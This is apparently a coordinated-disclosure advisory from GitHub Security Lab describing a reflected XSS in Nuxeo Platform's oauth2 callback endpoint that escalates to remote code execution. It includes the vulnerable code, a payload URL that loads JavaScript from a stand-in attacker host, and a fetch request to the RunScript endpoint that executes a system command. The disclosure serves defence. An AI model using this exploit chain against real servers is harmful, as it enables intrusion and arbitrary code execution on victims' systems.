Coordinated Disclosure Timeline

Summary

The oauth2 REST API is vulnerable to Reflected Cross-Site Scripting (XSS). This XSS can be escalated to Remote Code Execution (RCE) by levering the automation API.

Product

Nuxeo Platform

Tested Version

v11.5.109

Details

The /oauth2/{serviceProviderName}/callback REST endpoint is vulnerable to XSS:

    @GET
    @Path("{serviceProviderName}/callback")
    public Object doGet(@PathParam("serviceProviderName") String serviceProviderName)
            throws IOException {

        OAuth2ServiceProviderRegistry registry = Framework.getService(OAuth2ServiceProviderRegistry.class);
        OAuth2ServiceProvider provider = registry.getProvider(serviceProviderName);
        if (provider == null) {
            return Response.status(HttpServletResponse.SC_NOT_FOUND).entity(
                    "No service provider called: \"" + serviceProviderName + "\".").build();
        }

        Map<String, Object> args = new HashMap<>();

        new UnrestrictedSessionRunner(ctx.getCoreSession()) {
            @Override
            public void run() {
                try {
                    credential = provider.handleAuthorizationCallback(request);
                } catch (NuxeoException e) {
                    log.error("Authorization request failed", e);
                    args.put("error", "Authorization request failed");
                }
            }
        }.runUnrestricted();

        String token = (credential == null) ? "" : credential.getAccessToken();
        args.put("token", token);
        return getView("index").args(args);
    }

Because the endpoint does not use the @Produces annotation or a explicit call to Response.type() to limit the content type of the HTTP response, Jersey will use attacker supplied content-type specified in the Accept header to decide what content type the response should have. If a logged-in user is tricked into visiting this endpoint, the XSS will trigger. eg:

GET http://localhost:8080/nuxeo/site/oauth2/%3Cimg%20src%20onerror=alert(document.domain)%3E/callback

Impact

Because Nuxeo exposes a powerful automation API, the XSS can be used to reach the runScript endpoint (or any automation endpoint sinxe they accept expr parameters) and achieve remote code execution (RCE).

For example, an attacker can use a URL like:

http://localhost:8080/nuxeo/site/oauth2/%3Cimg%20src%20onerror%3Da%3Ddocument.createElement('script')%3ba.setAttribute('src',document.location.hash.substr(1))%3bdocument.head.appendChild(a)%3E/callback#//attacker.ngrok.io/exploit.js

Which will execute the Javascript code provided by the attacker in http://attacker.ngrok.io/exploit.js. Here, an attacker can trigger a second request to the automation runScript endpoint and run arbitrary code:

fetch("http://localhost:8080/nuxeo/site/automation/RunScript",{method:'POST',headers:{"Content-Type":"application/json"},body:JSON.stringify({"params":{"script":"Runtime.getRuntime().exec('touch /tmp/pwned');"},"context":{}})})

CVE

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-072 in any communication regarding this issue.